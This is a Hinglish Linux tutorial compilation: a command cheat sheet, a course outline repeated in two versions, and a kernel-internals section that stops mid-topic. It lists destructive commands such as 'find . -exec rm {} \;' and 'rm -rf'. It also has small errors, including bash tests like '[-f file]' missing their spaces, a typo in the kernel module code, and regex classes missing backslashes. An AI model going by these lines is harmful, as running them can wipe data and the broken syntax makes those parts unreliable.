Default permissions set karta hai for new files

WHEN TO USE:

Jab default permissions customize karni ho

WHEN NOT TO USE:

Jab default permissions theek hain

EXAMPLES:

```
umask                           : Show current umask (like 0022)
umask 0022                      : Default 755 for dirs, 644 for files
umask 0002                      : 775 for dirs, 664 for files (group writable)
umask 0077                      : 700 for dirs, 600 for files (private)
```

4. PROCESS MANAGEMENT

$ ps

WHAT:

Running processes dikhata hai

WHEN TO USE:

Jab dekhna ho ki kaunse processes chal rahe hain

WHEN NOT TO USE:

Jab real-time monitoring chahiye (use top)

EXAMPLES:

```
ps                                  : Current shell processes
ps aux                              : All processes with details
ps -ef                              : Full format listing
ps aux | grep nginx                 : Find specific process
ps -u username                      : User ke processes
ps -p 1234                          : Specific PID ka info
ps --sort=-%mem                     : Sort by memory usage
ps -eo pid,ppid,cmd,%mem,%cpu       : Custom columns
```

$ top

WHAT:

Real-time process monitoring

WHEN TO USE:

Jab live system performance dekhni ho

WHEN NOT TO USE:

Jab history chahiye (use sar ya logs)

EXAMPLES:

```
top                                 : Start top
# Inside top commands:
  q               : Quit
  k               : Kill process
  r               : Renice process
  M               : Sort by memory
  P               : Sort by CPU
  1               : Show all CPUs
  c               : Show full command
  u username      : Filter by user
  h               : Help
```

$ kill

WHAT:

Process ko terminate karta hai

WHEN TO USE:

Jab process hang ho gaya ya band karna hai

WHEN NOT TO USE:

Jab important system process ho (use gracefully)

EXAMPLES:

```
kill PID                            : Send SIGTERM (graceful)
kill -9 PID                         : Force kill (SIGKILL)
kill -15 PID                        : SIGTERM (default)
kill -1 PID                         : SIGHUP (reload config)
killall processname                 : Kill all processes with name
pkill -f 'python script.py'         : Kill by pattern
```

```
kill -l                          : List all signals
```

$ jobs

WHAT:

Background processes dikhata hai

WHEN TO USE:

Jab background me chhode gaye processes dekhne ho

WHEN NOT TO USE:

Jab foreground me kaam chal raha ho

EXAMPLES:

```
command &                        : Run in background
jobs                             : List background jobs
fg %1                            : Bring job 1 to foreground
bg %2                            : Resume job 2 in background
Ctrl+Z                           : Suspend current job
```

---

5. NETWORKING

$ ping

WHAT:

Network connectivity check karta hai

WHEN TO USE:

Jab internet ya server reachable hai ya nahi check karna ho

WHEN NOT TO USE:

Jab firewall ping block karta ho (false negative)

EXAMPLES:

```
ping google.com                    : Continuous ping (Ctrl+C to stop)
ping -c 4 google.com               : Ping 4 times only
ping -i 2 google.com               : 2 seconds interval
ping -s 1000 google.com            : Packet size 1000 bytes
ping -W 2 192.168.1.1              : Timeout 2 seconds
```

$ ssh

WHAT:

Remote server se secure connection

WHEN TO USE:

Jab remote server par login karna ho

WHEN NOT TO USE:

Jab password authentication band hai aur key nahi hai

EXAMPLES:

```
ssh user@192.168.1.100             : Connect to server
ssh -p 2222 user@server.com        : Custom port
ssh user@server.com 'ls -la'       : Run single command
ssh-keygen                         : Generate SSH keys
ssh-copy-id user@server.com        : Copy public key
ssh -i privatekey.pem user@aws.com : Use specific key
ssh -L 8080:localhost:80 user@server : Port forwarding
```

$ scp

WHAT:

Secure file copy (SSH based)

WHEN TO USE:

Jab remote server se file copy karni ho

WHEN NOT TO USE:

Jab bahut badi files hain (rsync better)

EXAMPLES:

```
scp file.txt user@server:/path/    : Copy to server
scp user@server:/path/file.txt .   : Copy from server
scp -r folder/ user@server:/path/  : Copy folder recursively
scp -P 2222 file.txt user@server:/ : Custom port
scp -i key.pem file.txt user@server:/ : With private key
```

$ rsync

WHAT:

Efficient file sync (only changes transfer)

WHEN TO USE:

Jab backup lena ho ya large data sync karna ho

WHEN NOT TO USE:

Jab first time copy ho (scp bhi chalega)

EXAMPLES:

```
rsync -avz source/ dest/           : Sync with archive, verbose, compress
rsync -avz user@server:/path/ ./   : Sync from remote
rsync -avz --delete source/ dest/  : Delete extra files in dest
rsync -avz --exclude='*.log' source/ dest/ : Exclude logs
rsync -avz --progress largefile dest/ : Show progress
```

$ curl

WHAT:

HTTP requests bhejta hai, data download karta hai

WHEN TO USE:

Jab API test karna ho ya file download karni ho

WHEN NOT TO USE:

Jab simple download ho (wget easier)

EXAMPLES:

```
curl https://api.example.com       : GET request
curl -O https://example.com/file   : Save with original name
curl -o myfile.zip URL             : Save with custom name
curl -X POST -d 'name=john' URL    : POST request
curl -H 'Authorization: Bearer token' URL : Custom header
curl -I https://google.com         : Only headers
curl -k https://self-signed.com    : Ignore SSL errors
```

$ wget

WHAT:

Files download karta hai (recursive bhi)

WHEN TO USE:

Jab files download karni ho ya website mirror

WHEN NOT TO USE:

Jab API test karna ho (curl better)

EXAMPLES:

```
wget https://example.com/file.zip  : Download file
wget -c URL                        : Resume download
wget -b URL                        : Background download
wget -r -l 2 https://site.com      : Recursive download (2 levels)
wget -i urls.txt                   : Download from file
wget --limit-rate=200k URL         : Limit speed
```

---

6. SEARCH & FILTER

$ grep

WHAT:

Files me text search karta hai

WHEN TO USE:

Jab koi specific pattern dhundhna ho

WHEN NOT TO USE:

Jab complex search ho (use find with grep)

EXAMPLES:

```
grep 'error' log.txt               : Search in file
grep -i 'error' log.txt            : Case insensitive
grep -r 'TODO' .                   : Recursive search
grep -v 'exclude' file.txt         : Invert match
grep -n 'pattern' file.txt         : Show line numbers
grep -A 5 -B 5 'error' log.txt     : Context lines
grep -E 'error|warning' log.txt    : Multiple patterns
ps aux | grep nginx                : Pipe with grep
```

$ find

WHAT:

Files aur folders search karta hai

WHEN TO USE:

Jab file location nahi pata ho

WHEN NOT TO USE:

Jab database search chahiye (locate faster)

EXAMPLES:

```
find . -name 'file.txt'            : Find by name
find / -name '*.log' 2>/dev/null   : Find logs (ignore errors)
find . -type f -size +100M         : Files larger than 100MB
find . -type d -name 'backup'      : Directories named backup
find . -mtime -7                   : Modified last 7 days
find . -user username              : Files owned by user
find . -perm 755                   : Files with 755 permissions
find . -exec rm {} \;              : Delete found files
find . -name '*.txt' -exec ls -l {} \; : Execute command
```

$ locate

WHAT:

Database se fast search (updatedb chahiye)

WHEN TO USE:

Jab fast search chahiye

WHEN NOT TO USE:

Jab recently created file search karni ho

EXAMPLES:

```
locate filename                    : Find file
locate -i FILENAME                 : Case insensitive
locate -c filename                 : Count matches
sudo updatedb                      : Update database
```

$ which

WHAT:

Command ka location batata hai

WHEN TO USE:

Jab command kahaan installed hai pata karna ho

WHEN NOT TO USE:

Jab command not found ho

EXAMPLES:

```
which python                    : /usr/bin/python
which ls                        : /bin/ls
which -a python                 : Show all locations
```

---

7. SYSTEM INFORMATION

$ df

WHAT:

Disk space usage dikhata hai

WHEN TO USE:

Jab disk full hone wali ho check karna ho

WHEN NOT TO USE:

Jab directory level chahiye (use du)

EXAMPLES:

```
df -h                          : Human readable
df -i                          : Inode usage
df -T                          : Filesystem type
df -h /home                    : Specific mount
```

$ du

WHAT:

Directory wise disk usage

WHEN TO USE:

Jab pata karna ho kaunsi folder jyada space le rahi

WHEN NOT TO USE:

Jab full disk check karna ho (df better)

EXAMPLES:

```
du -sh *                       : Size of each folder
du -h --max-depth=1            : One level deep
du -ah                         : All files with sizes
du -sh /home/user              : Specific folder
```

$ free

WHAT:

RAM usage dikhata hai

WHEN TO USE:

Jab memory full ho rahi ho check karna ho

WHEN NOT TO USE:

Jab process level chahiye (use top)

EXAMPLES:

```
free -h                        : Human readable
free -m                        : In MB
free -g                        : In GB
free -s 2                      : Refresh every 2 seconds
```

$ uname

WHAT:

System information dikhata hai

WHEN TO USE:

Jab OS, kernel version dekhna ho

WHEN NOT TO USE:

Kabhi bhi use kar sakte ho

EXAMPLES:

```
uname -a                          : All information
uname -r                          : Kernel version
uname -m                          : Architecture (x86_64)
uname -o                          : Operating system
```

8. ARCHIVE & COMPRESS

$ tar

WHAT:

Archive (tar) files banata hai

WHEN TO USE:

Jab multiple files compress karni ho

WHEN NOT TO USE:

Jab single file ho (gzip directly)

EXAMPLES:

```
tar -cvf archive.tar folder/      : Create tar (no compression)
tar -czvf archive.tar.gz folder/  : Create with gzip compression
tar -cjvf archive.tar.bz2 folder/ : Create with bzip2 (smaller)
tar -xvf archive.tar              : Extract tar
tar -xzvf archive.tar.gz          : Extract gzip
tar -tvf archive.tar              : List contents
tar -czvf backup.tar.gz --exclude='*.log' folder/ : Exclude logs
```

$ gzip

WHAT:

File compress karta hai (.gz)

WHEN TO USE:

Jab single file compress karni ho

WHEN NOT TO USE:

Jab multiple files ho (use tar with gzip)

EXAMPLES:

```
gzip file.txt                     : Compress (file.txt.gz)
gzip -d file.txt.gz               : Decompress
gunzip file.txt.gz                : Same as gzip -d
gzip -k file.txt                  : Keep original file
gzip -9 file.txt                  : Max compression
```

$ zip/unzip

WHAT:

Windows compatible zip files

WHEN TO USE:

Jab Windows users ke saath share karna ho

WHEN NOT TO USE:

Jab Linux me hi kaam ho (tar better)

EXAMPLES:

```
zip archive.zip file1 file2       : Create zip
zip -r archive.zip folder/        : Recursive
unzip archive.zip                 : Extract
unzip -l archive.zip              : List contents
zip -e archive.zip file.txt       : Encrypt with password
```

Linux Complete Course

From Beginner to Expert

Generated on: 22-March-2026 03:19:44

Total Modules: 20

Complete Linux Knowledge Guide

Table of Contents

1. Module 1: Linux Introduction

>> What is Linux:

Linux ek open-source operating system hai jo UNIX par based hai. Yeh free hai aur bahut secure hota hai.

>> Linux vs Windows:

Linux free hai, customizable hai, viruses kam lagte hain. Windows paid hai aur zyada common hai.

>> Linux Distributions:

Popular distributions: Ubuntu (beginner friendly), CentOS (server), Fedora, Debian, Kali Linux (hacking)

>> Linux Architecture:

Kernel -> Shell -> File System -> Applications. Kernel hardware se communicate karta hai

2. Module 2: Basic Commands - Detailed

>> pwd:

Present Working Directory - batata hai aap abhi kis folder me ho

>> ls:

List - folder ke saare files aur folders dikhata hai.

- ls -la : sab kuch dikhata hai
- ls -lh : human readable format
- ls -lt : date ke hisaab se sort

>> cd:

Change Directory - folder change karne ke liye.

- cd .. : ek folder upar
- cd ~ : home folder
- cd - : last folder me wapas

>> mkdir:

Make Directory - naya folder banane ke liye

- mkdir -p folder1/folder2 : nested folders

>> touch:

Naya file banane ke liye ya existing file ka timestamp update

>> cp:

Copy files

- cp -r : folder copy
- cp -i : confirmation ke saath

>> mv:

Move ya rename files

>> rm:

Delete files

- rm -rf : force delete (dangerous!)
- rm -i : confirmation

>> cat:

File ki content dikhane ke liye

- cat > file : naya content likhna
- cat file1 file2 : multiple files combine

>> less/more:

Bade files dekhne ke liye, page by page

>> head/tail:

File ki starting/ending lines dekhne ke liye

tail -f : live log monitoring

3. Module 3: File Permissions - Advanced

>> chmod:

Change mode - file permissions change karne ke liye

chmod 755 filename

chmod u+x filename

chmod -R 777 folder/ (recursive)

>> chown:

Change owner

chown user:group filename

>> Permissions Deep Dive:

r=read(4), w=write(2), x=execute(1)

User (owner) | Group | Others

Example: 755 = rwxr-xr-x

>> Special Permissions:

SUID (4xxx) - user ke permissions se run

SGID (2xxx) - group permissions

Sticky Bit (1xxx) - only owner delete kar sakta

>> umask:

Default permissions set karne ke liye

umask 022 : default permissions 755

4. Module 4: Advanced File Operations

>> find:

Files search karne ke liye

find / -name '*.txt' 2>/dev/null

find . -type f -size +100M

find . -mtime -7 (last 7 days modified)

find . -exec ls -l {} ;

>> grep:

Text search with patterns

grep -r 'error' /var/log/

grep -i 'warning' file (case insensitive)

grep -E 'pattern1|pattern2' (regex)

grep -v 'exclude' (inverse match)

>> sed:

Stream editor - text replace

sed 's/old/new/g' file

sed -i 's/old/new/g' file (in-place)

sed '1,5d' file (delete lines)

>> awk:

Text processing language

awk '{print $1}' file

awk -F: '{print $1}' /etc/passwd

awk '$3 > 1000 {print $1}' /etc/passwd

>> cut:

Extract columns

cut -d: -f1 /etc/passwd

cut -c1-10 file

>> sort:

Sort lines

sort -n (numeric)

sort -r (reverse)

sort -u (unique)

>> uniq:

Remove duplicate lines (sorted input chahiye)

>> wc:

Word count

wc -l (lines)

wc -w (words)

wc -c (bytes)

5. Module 5: Process Management

>> ps:

Process status

- ps aux : all processes
- ps -ef : full format
- ps -u username : user ke processes

>> top:

Real-time process monitoring

- Press 'q' to quit
- Press 'k' to kill process
- Press '1' for CPU cores

>> htop:

Better version of top (install karna padega)

>> kill:

Process terminate

- kill -9 PID (force kill)
- kill -15 PID (graceful)
- killall processname

>> nice/renice:

Process priority set

- nice -n 10 command
- renice -n 5 -p PID

>> jobs:

Background processes dekhna

- bg : background me send
- fg : foreground me laana

>> nohup:

Process logout ke baad bhi run

- nohup command &

>> systemd:

Modern init system

- systemctl status service
- systemctl start/stop/restart
- systemctl enable/disable (boot me start)

6. Module 6: Networking - Complete

>> ifconfig/ip:

Network configuration

- ip addr show
- ip route show
- ifconfig eth0

>> ping:

Network connectivity check

- ping -c 4 google.com

>> netstat/ss:

Network connections

- netstat -tulpn
- ss -tulpn

>> traceroute:

Network path trace

>> nslookup/dig:

DNS lookup

- dig google.com
- nslookup google.com

>> curl/wget:

Download files

- curl -O url
- wget url
- curl -I url (headers only)

>> ssh:

Secure shell

- ssh user@host
- ssh -p 2222 user@host
- ssh-keygen (generate keys)
- ssh-copy-id user@host

>> scp:

Secure copy

- scp file user@host:/path
- scp -r folder/ user@host:/path

>> rsync:

Efficient file sync

rsync -avz source/ dest/

rsync -avz user@host:/path/ .

>> iptables:

Firewall configuration

iptables -L (list rules)

iptables -A INPUT -p tcp --dport 22 -j ACCEPT

>> Network Files:

/etc/hosts (local DNS)

/etc/resolv.conf (DNS servers)

/etc/network/interfaces

7. Module 7: Storage & Filesystem

>> df:

Disk space

df -h (human readable)

df -i (inodes)

>> du:

Directory size

du -sh *

du -h --max-depth=1

>> fdisk:

Partition management

fdisk -l

fdisk /dev/sda

>> mount:

Mount filesystem

mount /dev/sdb1 /mnt

umount /mnt

>> fsck:

Filesystem check

fsck /dev/sda1

>> LVM:

Logical Volume Management

pvcreate, vgcreate, lvcreate

lvextend, lvreduce

>> RAID:

Software RAID

mdadm --create

mdadm --detail

8. Module 8: Users & Groups - Advanced

>> useradd:

User create

- useradd -m -s /bin/bash username
- useradd -G group1,group2 username

>> usermod:

User modify

- usermod -aG sudo username
- usermod -L (lock)
- usermod -U (unlock)

>> userdel:

User delete

- userdel -r username (with home)

>> groupadd:

Group create

- groupadd groupname

>> passwd:

Password management

- passwd username
- passwd -l (lock)
- passwd -e (expire)

>> sudo:

Root privileges

- visudo (edit sudoers file)
- sudo -i (root shell)

>> Important Files:

/etc/passwd (user info)

- /etc/shadow (passwords)
- /etc/group (group info)
- /etc/sudoers (sudo permissions)

9. Module 9: Shell Scripting - Master Level

>> Variables:

name='John'; echo $name

readonly var (constant)

export var (environment)

>> Arrays:

arr=(1 2 3); echo ${arr[0]}

arr+=('new') (append)

>> Conditional Statements:

if [condition]; then

elif [condition]; then

else

fi

[-f file] (file exists)

[-d dir] (directory)

[-z string] (empty)

>> Loops:

for i in {1..5}; do

while [condition]; do

until [condition]; do

break/continue

>> Functions:

function myfunc() {

echo "$1 $2" (parameters)

return 0

}

myfunc arg1 arg2

>> Error Handling:

set -e (exit on error)

set -x (debug mode)

trap 'echo Error' ERR

>> Case Statements:

case $var in

pattern1) commands;;

*) default;;

esac

>> Command Substitution:

output=$(command)

output=`command` (old style)

>> Regular Expressions:

^ (start), $ (end)

. (any char), * (0 or more)

[a-z] (range)

d (digit), w (word)

>> Script Best Practices:

#!/bin/bash

set -euo pipefail

Check exit codes

Use functions for reusability

10. Module 10: System Administration

>> cron:

Scheduled tasks

crontab -e (edit)

* * * * * command (min hour day month weekday)

@daily, @hourly shortcuts

>> at:

One-time scheduled tasks

at now + 5 minutes

atq (list)

atrm (remove)

>> logrotate:

Log management

/etc/logrotate.conf

rotate logs automatically

>> backup:

tar -czf backup.tar.gz /folder

rsync -avz /source /dest

dump/restore

>> system monitoring:

vmstat (virtual memory)

iostat (IO stats)

sar (system activity)

dmesg (kernel messages)

>> performance tuning:

ulimit (resource limits)

sysctl (kernel parameters)

/etc/security/limits.conf

11. Module 11: Security & Hardening

>> firewall:

ufw (Ubuntu): ufw enable, ufw allow 22

firewalld (CentOS): firewall-cmd

>> SELinux/AppArmor:

Mandatory access control

getenforce, setenforce

sestatus

>> fail2ban:

Brute force protection

/etc/fail2ban/jail.local

>> auditd:

System auditing

auditctl -w /etc/passwd -p wa

>> SSH Hardening:

Disable root login

Use key authentication

Change default port

Use AllowUsers

>> Security Updates:

sudo apt update && sudo apt upgrade

unattended-upgrades

12. Module 12: Package Management - Deep Dive

>> APT (Debian):

apt update (update package list)
apt upgrade (upgrade all)
apt install package
apt remove package
apt search keyword
apt-cache show package

>> YUM/DNF (RHEL):

yum install package
yum update
yum search
yum remove
yum list installed

>> Snap:

snap find package
snap install package
snap list
snap remove

>> Flatpak:

flatpak install
flatpak run

>> Source Compilation:

./configure
make
make install
make uninstall

>> Repository Management:

/etc/apt/sources.list
add-apt-repository ppa:name

13. Module 13: Text Editors - Complete

>> vim:

Modes: Normal (Esc), Insert (i), Visual (v)

:w (save), :q (quit), :wq (save and quit)

dd (delete line), yy (copy line), p (paste)

/search (search), :%s/old/new/g (replace all)

:set number (line numbers)

>> nano:

Simple editor

Ctrl+O (save), Ctrl+X (exit)

Ctrl+W (search), Ctrl+K (cut line)

>> emacs:

Advanced editor

Ctrl+X Ctrl+S (save)

Ctrl+X Ctrl+C (exit)

14. Module 14: Advanced Networking Services

>> Apache/Nginx:

Web server configuration

/etc/apache2/sites-available/

systemctl restart apache2

Virtual hosts

>> DNS Server (BIND):

/etc/bind/named.conf

zone files

dig @localhost domain.com

>> DHCP Server:

/etc/dhcp/dhcpd.conf

subnet configuration

>> NFS:

Network File System

/etc/exports

mount -t nfs server:/share /mnt

>> Samba:

Windows file sharing

/etc/samba/smb.conf

smbpasswd

>> Mail Server:

Postfix, Dovecot

SMTP, IMAP, POP3

15. Module 15: Virtualization & Containers

>> Docker:

- docker pull image
  - docker run -it ubuntu bash
  - docker ps, docker images
  - docker-compose up
  - Dockerfile creation

>> KVM:

- Kernel-based Virtual Machine
  - virt-manager
  - virsh commands

>> Vagrant:

- Development environments
  - Vagrantfile
  - vagrant up

>> Podman:

- Docker alternative (daemonless)

>> Kubernetes:

- kubectl get pods
  - kubectl apply -f deployment.yaml
  - Minikube for local setup

16. Module 16: Cloud & DevOps

>> AWS EC2:

Launch Linux instances

- SSH into cloud servers
- Security groups
- EBS volumes

>> Terraform:

Infrastructure as Code

- .tf files
- terraform plan, apply

>> Ansible:

Configuration management

- Playbooks (YAML)
- ansible-playbook playbook.yml

>> Jenkins:

CI/CD pipeline

- Jenkinsfile
- Build automation

>> Monitoring:

Prometheus + Grafana

- Node Exporter
- Metrics collection

>> Logging:

ELK Stack (Elasticsearch, Logstash, Kibana)

- Centralized logging

17. Module 17: Performance Tuning

>> CPU Tuning:

taskset (CPU affinity)

nice/renice (priority)

CPU governors

>> Memory Tuning:

vm.swappiness

hugepages

swap configuration

>> Disk I/O:

ionice

scheduler tuning (noop, cfq, deadline)

RAID optimization

>> Network Tuning:

TCP buffer sizes

sysctl.conf tuning

NIC offloading

>> Kernel Parameters:

/etc/sysctl.conf

kernel parameters for performance

18. Module 18: Troubleshooting - Real World

>> Boot Problems:

GRUB recovery

- Single user mode
- Initramfs issues

>> Permission Issues:

ACL (getfacl, setfacl)

- SELinux denials
- Sticky bits

>> Network Issues:

tcpdump packet capture

- wireshark analysis
- mtr (traceroute + ping)

>> Disk Full:

Find large files: find / -type f -size +100M

- Clean logs, temp files
- Extend LVM

>> High CPU/Memory:

top/htop analysis

- strace for debugging
- perf for profiling

>> Service Failures:

journalctl -xe

- /var/log/ logs
- systemctl status service

>> Common Error Codes:

Exit codes meaning

- Errno values
- Signal numbers

19. Module 19: Interview Preparation

>> Common Questions:

1. Explain Linux boot process
2. Difference between hard and soft link
3. Zombie and orphan processes
4. RAID levels explained
5. Load average meaning
6. Swap vs RAM
7. Linux file types
8. Kernel vs Shell
9. init vs systemd
10. Soft vs Hard limits

>> Practical Tasks:

Write a script to backup files

Monitor disk space and alert

Configure LAMP stack

Set up SSH key authentication

Create users with specific permissions

>> Scenario Based:

Server is slow - how to troubleshoot?

Disk full - what will you do?

Website down - diagnose

Security breach - action plan

20. Module 20: Linux Certifications

>> LPIC-1:

Linux Professional Institute Level 1

- System Architecture
- Linux Installation
- GNU and Unix Commands
- Devices and Filesystems

>> RHCSA:

Red Hat Certified System Administrator

- Essential tools
- File systems
- Users and groups
- Security
- Containers

>> RHCE:

Red Hat Certified Engineer

- Ansible automation
- Advanced networking
- Shell scripting

>> CompTIA Linux+:

Vendor neutral certification

- Hardware and system configuration
- Security
- Troubleshooting

Linux Course - Complete Guide

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Module 1: Linux Introduction

What is Linux?: Linux ek open-source operating system hai jo UNIX par based hai. Yeh free hai aur bahut secure hota hai.

Linux vs Windows: Linux free hai, customizable hai, viruses kam lagte hain. Windows paid hai aur zyada common hai.

Linux Distributions: Popular distributions: Ubuntu (beginner friendly), CentOS (server), Fedora, Debian, Kali Linux (hacking)

Module 2: Basic Commands

pwd: Present Working Directory - batata hai aap abhi kis folder me ho

ls: List - folder ke saare files aur folders dikhata hai. ls -la sab kuch dikhata hai

cd: Change Directory - folder change karne ke liye. cd .. se ek folder upar ja sakte ho

mkdir: Make Directory - naya folder banane ke liye

rmdir: Remove Directory - empty folder hatane ke liye

touch: Naya file banane ke liye

cp: Copy - files copy karne ke liye

mv: Move - files move ya rename karne ke liye

rm: Remove - files delete karne ke liye. rm -rf se sab kuch delete ho jata hai (careful!)

Module 3: File Permissions

chmod: Change mode - file permissions change karne ke liye. Jaise: chmod 755 filename

chown: Change owner - file ka owner change karne ke liye

Permissions Explanation: r=read(4), w=write(2), x=execute(1). 3 sets: owner, group, others

Module 4: Advanced Commands

grep:	Text search karne ke liye. Jaise: grep 'error' logfile.txt
find:	Files search karne ke liye. Jaise: find / -name '*.txt'
ps:	Process status - chal rahe processes dikhata hai
top:	Real-time system monitoring
kill:	Process band karne ke liye. Jaise: kill -9 PID
ssh:	Remote server connect karne ke liye
scp:	Secure copy - files transfer karne ke liye remote server se

Module 5: Text Editors

vim:	Advanced text editor. Modes: Normal, Insert, Visual. :wq se save and exit
nano:	Simple text editor. Ctrl+X se exit
sed:	Stream editor - text replace karne ke liye

Module 6: Shell Scripting

Shebang:	#! /bin/bash - script ka starting point
Variables:	name='John'; echo $name
Loops:	for i in {1..5}; do echo $i; done
Conditions:	if [condition]; then echo 'yes'; fi
Functions:	myfunc() { echo 'Hello'; }

Module 7: Package Management

APT (Debian/Ubuntu):	sudo apt update, sudo apt install package, sudo apt remove package
YUM/DNF (RHEL/CentOS):	sudo yum install package, sudo yum remove package
Snap:	sudo snap install package

Module 8: System Administration

systemctl:	Services manage karne ke liye. systemctl start/stop/restart service
cron:	Scheduled tasks. crontab -e se schedule kar sakte ho
useradd:	Naya user banane ke liye
passwd:	Password change karne ke liye
df -h:	Disk space check karne ke liye
free -h:	Memory usage check karne ke liye

Linux Deep Dive

Complete System Internals

Generated: 22-March-2026

1. Module 1: Linux Kernel Deep Dive

>> Kernel Architecture

Linux kernel ka 3 layer structure:

1. User Space: Applications, Shell, Libraries
2. Kernel Space: System calls, Process scheduler, Memory manager, File systems
3. Hardware Layer: CPU, RAM, Disks, Network cards

Kernel types:
- Monolithic Kernel: Saari services ek saath (Linux)
- Micro Kernel: Minimal services, separate modules
- Hybrid Kernel: Combination of both

>> System Calls

System calls user space se kernel space me jaane ka bridge:

Types of system calls:
1. Process Control: fork(), exec(), wait(), exit()
2. File Management: open(), read(), write(), close()
3. Device Management: ioctl(), read(), write()
4. Information: getpid(), getuid(), gettimeofday()
5. Communication: pipe(), shmget(), mmap()

Example:
```
#include <unistd.h>
#include <sys/syscall.h>
long syscall(SYS_write, 1, "Hello", 5);
```

>> Kernel Modules

Loadable kernel modules (LKM):

Commands:
lsmod : List all loaded modules
modprobe module_name : Load module with dependencies
insmod module.ko : Insert module manually
rmmod module : Remove module
modinfo module : Module information

Create module:
```
#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void) {
    printk(KERN_INFO "Module loaded\n");
    return 0;
}

void cleanup_module(void) {
    printk(KERN_INFO "Module removed\n");n}

module_init(init_module);
module_exit(cleanup_module);
MODULE_LICENSE("GPL");
```

2. Module 2: Linux Boot Process - Complete

>> BIOS/UEFI Stage

1. Power ON -> BIOS/UEFI starts
2. POST (Power On Self Test): Hardware check
3. BIOS reads MBR/GPT from first boot device
4. Bootloader loads (GRUB)

UEFI vs BIOS:
- BIOS: 16-bit, MBR partition, max 2TB disk
- UEFI: 32/64-bit, GPT partition, 9+ZB disk, Secure Boot

>> GRUB Bootloader

GRUB (Grand Unified Bootloader):

Configuration file: /boot/grub/grub.cfg

GRUB stages:
Stage 1: MBR me (446 bytes)
Stage 1.5: Filesystem drivers
Stage 2: /boot/grub me full bootloader

GRUB commands:
e : Edit boot entry
c : GRUB command line
set root=(hd0,1) : Set root partition
linux /vmlinuz root=/dev/sda1 : Kernel loading
initrd /initrd.img : Initial RAM disk
boot : Boot system

GRUB recovery:
grub-install /dev/sda (reinstall)
grub-mkconfig -o /boot/grub/grub.cfg (regenerate config)

>> Kernel Initialization

Kernel boot process:

1. Kernel decompresses itself
2. start_kernel() function executes
3. CPU, memory, interrupts initialization
4. PID 1 (init/systemd) starts
5. User space initialization

Kernel parameters:
quiet : Suppress boot messages
splash : Show graphical boot
single : Single user mode
init=/bin/bash : Custom init
root=/dev/sda1 : Root partition
ro : Read-only mount
rw : Read-write mount

>> Init Systems

Init system comparison:

System V init (SysVinit):
- Sequential startup
- Runlevels: 0-6
- /etc/inittab file
- /etc/init.d/ scripts

Upstart:

- Event-based
- Parallel startup
- Ubuntu 6.10 to 14.04

systemd:
- Parallel startup
- Dependency management
- Socket activation
- cgroups integration

Systemd targets:
multi-user.target : Like runlevel 3
graphical.target : Like runlevel 5
rescue.target : Single user
emergency.target : Emergency shell

Systemd commands:
systemctl get-default
systemctl set-default multi-user.target
systemctl isolate graphical.target

3. Module 3: Filesystem Internals

>> Inode Structure

Inode (Index Node): File metadata store karta hai:

Inode contains:
- File type (regular, directory, symlink, etc.)
- Permissions (rwx)
- Owner (UID, GID)
- Size in bytes
- Timestamps (atime, mtime, ctime)
- Number of hard links
- Block pointers (direct, indirect, double indirect, triple indirect)

Inode commands:
stat filename : Inode details
df -i : Inode usage
ls -i : Inode number
find / -inum 12345 : Find by inode

Inode limit:
- ext4: 4 billion inodes
- Check: tune2fs -l /dev/sda1 | grep "Inode count"

>> File Types

Linux file types:

1. Regular file (-) : Normal files, text, binary
2. Directory (d) : Contains files/subdirs
3. Symbolic link (l) : Soft link, points to another file
4. Character device (c) : Terminal, serial ports
5. Block device (b) : Hard disks, SSDs
6. Socket (s) : Inter-process communication
7. Pipe (p) : FIFO, named pipes

Check file type:
file filename
ls -la
stat filename

Special files:
/dev/null : Black hole
dev/zero : Null bytes generator
/dev/random : Random numbers
/dev/urandom : Non-blocking random

>> Hard Links vs Soft Links

Hard Link:
- Same inode number
- Original file delete hone par bhi kaam karta hai
- Cross-filesystem nahi ho sakta
- Directory ke liye nahi (root ke alawa)

Soft Link:
- Different inode
- Original delete hone par broken
- Cross-filesystem possible
- Directory ke liye bana sakte ho

Commands:
ln source hard_link (hard link)
ln -s source soft_link (soft link)
find . -samefile source (find hard links)

>> Filesystem Types

ext4 (Fourth Extended Filesystem):
- Max file size: 16 TB
- Max volume size: 1 EB
- Features: Journaling, Extents, Delayed allocation

XFS:
- Max file size: 8 EB
- Max volume size: 8 EB
- Best for large files, parallel I/O

Btrfs (B-Tree Filesystem):
- Copy-on-write
- Snapshots
- Compression
- RAID support

ZFS:
- Combined filesystem + volume manager
- Data integrity checksums
- Snapshots, clones
- Deduplication

Commands:
mkfs.ext4 /dev/sdb1
mkfs.xfs /dev/sdb1
mkfs.btrfs /dev/sdb1

Filesystem check:
fsck.ext4 /dev/sda1
xfs_repair /dev/sda1
btrfs check /dev/sda1

4. Module 4: Memory Management

>> Virtual Memory

Virtual memory concept:

Physical RAM + Swap = Virtual memory

Memory mapping:
- Each process gets 4GB (32-bit) or 128TB (64-bit) virtual space
- Pages: 4KB standard size
- Page table: Maps virtual to physical
- MMU: Memory Management Unit handles translation

Memory segments:
- Text: Code segment (read-only)
- Data: Initialized data
- BSS: Uninitialized data
- Heap: Dynamic allocation (grows upward)
- Stack: Function calls, local vars (grows downward)

Commands:
cat /proc/meminfo
vmstat 2
free -h
pmap PID : Process memory map

>> Swap Management

Swap configuration:

Swap types:
1. Swap partition: Dedicated partition
2. Swap file: Regular file
3. Swap over NFS: Network swap

Create swap:
fallocate -l 2G /swapfile (create file)
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile
/etc/fstab: /swapfile none swap sw 0 0

Swap priority:
swapon -p 10 /dev/sda2 (higher priority first)

Swap tuning:
vm.swappiness=10 (less swap usage)
vm.vfs_cache_pressure=50 (cache pressure)

Commands:
swapon -s (list swap)
swapoff /swapfile (disable swap)
cat /proc/swaps

>> Caches and Buffers

Linux caching mechanisms:

Page Cache:
- Disk data caching
- Improves read/write performance
- Uses free RAM automatically

Buffer Cache:
- Block device caching

- Filesystem metadata

Clear caches:
sync (write to disk)
echo 1 > /proc/sys/vm/drop_caches (page cache)
echo 2 > /proc/sys/vm/drop_caches (dentries/inodes)
echo 3 > /proc/sys/vm/drop_caches (both)

Cache stats:
cat /proc/meminfo
free -h
slabtop (kernel slab cache)

HugePages:
- Large memory pages (2MB, 1GB)
- Benefits: Less TLB misses, better performance
- Use cases: Databases, virtualization

Configure:
echo 1024 > /proc/sys/vm/nr_hugepages
mount -t hugetlbfs hugetlbfs /dev/hugepages

5. Module 5: Process Scheduler

>> Scheduling Policies

Linux scheduling policies:

CFS (Completely Fair Scheduler):
- Default scheduler since kernel 2.6.23
